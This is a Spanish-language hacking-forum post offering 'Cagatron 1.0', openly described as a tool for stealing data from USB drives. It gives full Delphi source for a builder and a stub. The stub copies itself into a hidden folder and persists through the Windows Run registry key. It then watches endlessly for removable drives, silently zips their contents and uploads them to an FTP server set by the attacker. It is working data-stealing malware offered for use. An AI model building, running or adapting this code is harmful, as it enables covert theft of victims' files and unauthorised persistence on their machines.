Un simple programa en Delphi para robar los datos de un USB con las siguientes opciones :

[+] Detecta cualquier USB conectado a la computadora
[+] Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
[+] Permite la opcion de enviar los datos por FTP o dejarlos en la computadora

Una imagen :

Imagen


Los codigos :

El generador.
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

unit caga;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
  ShellApi,
  Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    StatusBar1: TStatusBar;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    usb_found: TListView;
    TabSheet5: TTabSheet;
    TabSheet6: TTabSheet;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    ftp_host: TEdit;
    Label2: TLabel;
    ftp_user: TEdit;
    Label3: TLabel;
    ftp_pass: TEdit;
    Label4: TLabel;
    ftp_path: TEdit;
    GroupBox2: TGroupBox;
    enter_usb: TEdit;
    Button1: TButton;
    Button2: TButton;
    GroupBox3: TGroupBox;
    upload_ftp_server: TRadioButton;
    TabSheet7: TTabSheet;
    GroupBox4: TGroupBox;
    console: TMemo;
    TabSheet8: TTabSheet;
    only_logs: TRadioButton;
    logs: TListView;
    rutas: TListBox;
    menu: TPopupMenu;
    L1: TMenuItem;
    IdFTP1: TIdFTP;
    buscar_usb: TTimer;
    otromenu: TPopupMenu;
    S1: TMenuItem;
    opcion_text: TEdit;
    PageControl3: TPageControl;
    TabSheet9: TTabSheet;
    TabSheet10: TTabSheet;
    GroupBox5: TGroupBox;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    ftp_host2: TEdit;
    ftp_user2: TEdit;
    ftp_pass2: TEdit;
    ftp_path2: TEdit;
    GroupBox7: TGroupBox;
    directorios: TComboBox;
    GroupBox6: TGroupBox;
    foldername: TEdit;
    Button3: TButton;
    GroupBox8: TGroupBox;
    Image1: TImage;
    Label9: TLabel;
    Image2: TImage;
    GroupBox9: TGroupBox;
    hide_file: TCheckBox;
    upload_ftp: TCheckBox;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure list_files;
    procedure L1Click(Sender: TObject);
    procedure buscar_usbTimer(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
end;

function file_size(target: String): integer;
var
  busqueda: TSearchRec;
begin
  Result := 0;
  try
    begin
      if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
        busqueda) = 0 then
      begin
        repeat
          Inc(Result);
        until FindNext(busqueda) <> 0;
        System.SysUtils.FindClose(busqueda);
      end;
    end;
  except
    Result := 0;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if not DirectoryExists('logs') then
  begin
    CreateDir('logs');
  end;
  Chdir('logs');
  list_files;
end;

procedure TForm1.L1Click(Sender: TObject);
begin
  ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
    SW_SHOWNORMAL);
end;

procedure TForm1.list_files;
var
  search: TSearchRec;
  ext: string;
  fecha1: integer;
begin

  logs.Items.Clear();
  rutas.Items.Clear();

  FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
    faAnyFile, search);
  while FindNext(search) = 0 do
  begin
    ext := ExtractFileExt(search.Name);
    if (ext = '.zip') then
    begin
      with logs.Items.Add do
      begin
        fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        Caption := search.Name;
        SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
      end;
    end;
  end;
  FindClose(search);
end;

procedure TForm1.S1Click(Sender: TObject);
begin
  opcion_text.Text := usb_found.Selected.Caption;
  enter_usb.Text := usb_found.Selected.SubItems[1];
end;

procedure TForm1.buscar_usbTimer(Sender: TObject);
var
  unidad: Char;
begin
  usb_found.Items.Clear();
  for unidad := 'C' to 'Z' do
  begin
    if (check_drive(PChar(unidad + ':\')) = True) and
      (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
    begin
      with usb_found.Items.Add do
      begin
        Caption := usb_name(unidad);
        SubItems.Add(IntToStr(file_size(unidad + ':\')));
        SubItems.Add(unidad + ':\');
      end;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TFileOpenDialog.Create(nil) do
    try
      Options := [fdoPickFolders];
      if Execute then
        enter_usb.Text := Filename;
    finally
      Free;
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
  code: string;
  dirnow: string;
  guardar: string;

begin

  dirnow := enter_usb.Text;

  if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
  then
  begin
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
      PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  end;

  if not(opcion_text.Text = '') then
  begin
    guardar := opcion_text.Text + '.zip';
  end
  else
  begin
    guardar := ExtractFileName(dirnow) + '.zip';
  end;

  StatusBar1.Panels[0].Text := '[+] Saving ...';
  Form1.StatusBar1.Update;

  console.Lines.Add('[+] Saving ..');

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
          // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
          // Form1.StatusBar1.Update;
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        console.Lines.Add('[+] Saving File : ' + busqueda.Name);
        // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
        // Form1.StatusBar1.Update;
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (upload_ftp_server.checked) then
  begin
    IdFTP1.Host := ftp_host.Text;
    IdFTP1.Username := ftp_user.Text;
    IdFTP1.Password := ftp_pass.Text;
    try
      IdFTP1.Connect;
    except
      StatusBar1.Panels[0].Text := '[-] Error Uploading';
      Form1.StatusBar1.Update;
    end;

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    IdFTP1.ChangeDir(ftp_path.Text);
    IdFTP1.Put(guardar, guardar, False);
  end;

  list_files;

  console.Lines.Add('[+] Ready');

  StatusBar1.Panels[0].Text := '[+] Ready';
  Form1.StatusBar1.Update;

  opcion_text.Text := '';

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  lineafinal: string;
  hidefile: string;
  uploadftp: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;

begin

  if (hide_file.checked) then
  begin
    hidefile := '1';
  end
  else
  begin
    hidefile := '0';
  end;

  if (upload_ftp.checked) then
  begin
    uploadftp := '1';
  end
  else
  begin
    uploadftp := '0';
  end;

  lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
    directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
    '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
    + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
    ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
    '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'cagatron_ready.exe';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
    '/' + stubgenerado), True);

  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
    PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
    '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  StatusBar1.Panels[0].Text := '[+] Done';
  Form1.StatusBar1.Update;

end;

end.

// The End ?
El Stub.
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

program cagatron_server;

{$APPTYPE GUI}
{$R *.res}

uses
  SysUtils, WinInet, Windows, sevenzip;

var
  directorio, directorio_final, carpeta, nombrereal, yalisto: string;
  hide_op: string;
  registro: HKEY;
  ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
  online: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

  // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure comprimir(dirnow, guardar: string);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
begin

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (hide_op = '1') then
  begin
    SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
end;

function check_file_ftp(host, username, password, archivo: pchar): integer;
var
  controluno: HINTERNET;
  controldos: HINTERNET;
  abriendo: HINTERNET;
  valor: integer;

begin

  controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
    username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

  abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
    FTP_TRANSFER_TYPE_BINARY, 0);
  valor := ftpGetFileSize(abriendo, nil);

  InternetCloseHandle(controldos);
  InternetCloseHandle(controluno);

  Result := valor;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
  controluno: HINTERNET;
  controldos: HINTERNET;

begin

  try

    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;
end;

procedure buscar_usb;
var
  unidad: Char;
  usb_target, usb_nombre: string;
begin
  while (1 = 1) do
  begin
    Sleep(5000);
    for unidad := 'C' to 'Z' do
    begin
      if (check_drive(pchar(unidad + ':\')) = True) and
        (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
      begin
        usb_target := unidad + ':\';
        usb_nombre := usb_name(unidad) + '.zip';
        if not(FileExists(usb_nombre)) then
        begin
          // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
          comprimir(usb_target, usb_nombre);
          // Writeln('[+] Saved');
          if (ftp_op = '1') then
          begin
            // Writeln('[+] Checking file in FTP ...');
            if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
              pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
            then
            begin
              // Writeln('[+] Uploading ...');
              upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
                pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
              // Writeln('[+] Done');
            end
            else
            begin
              // Writeln('[+] File exists');
            end;
          end;
        end;
      end;
    end;
  end;
end;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
    carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
    directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
    hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));

    ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
    ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
    ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
    ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
    ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

    online := pchar(regex(todo, '[online]', '[online]'));

    if (online = '1') then
    begin
      nombrereal := ExtractFileName(paramstr(0));
      yalisto := directorio_final + '/' + nombrereal;

      if not(DirectoryExists(directorio_final)) then
      begin
        CreateDir(directorio_final);
      end;

      // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
      MoveFile(pchar(paramstr(0)), pchar(yalisto));
      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      end;
      if (FileExists('7z.dll')) then
      begin
        // CopyFile(pchar('7z.dll'),
        // pchar(directorio_final + '/' + '7z.dll'), False);
        MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
        if (hide_op = '1') then
        begin
          SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
            FILE_ATTRIBUTE_HIDDEN);
        end;
      end;

      ChDir(directorio_final);

      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
      end;

      try
        begin
          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
          RegCloseKey(registro);
        end;
      except
        //
      end;

      // Writeln('[+] Searching USB ...');

      BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);

      while (1 = 1) do
        Sleep(5000);
    end
    else
    begin
      // Writeln('[+] Offline');
    end;

  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;

end.

// The End ?
Un video con ejemplos de uso :

[Enlace externo eliminado para invitados]

Si quieren bajar el programa lo pueden hacer de aca :

[Enlace externo eliminado para invitados].
[Enlace externo eliminado para invitados].

Eso seria todo.
Uaall bro, gracias !!
We live in hell it will always have pain. - Uchiha Obito.

@ Indetectables [ Modder - Coder ]
Responder

Volver a “Nuestros Programas”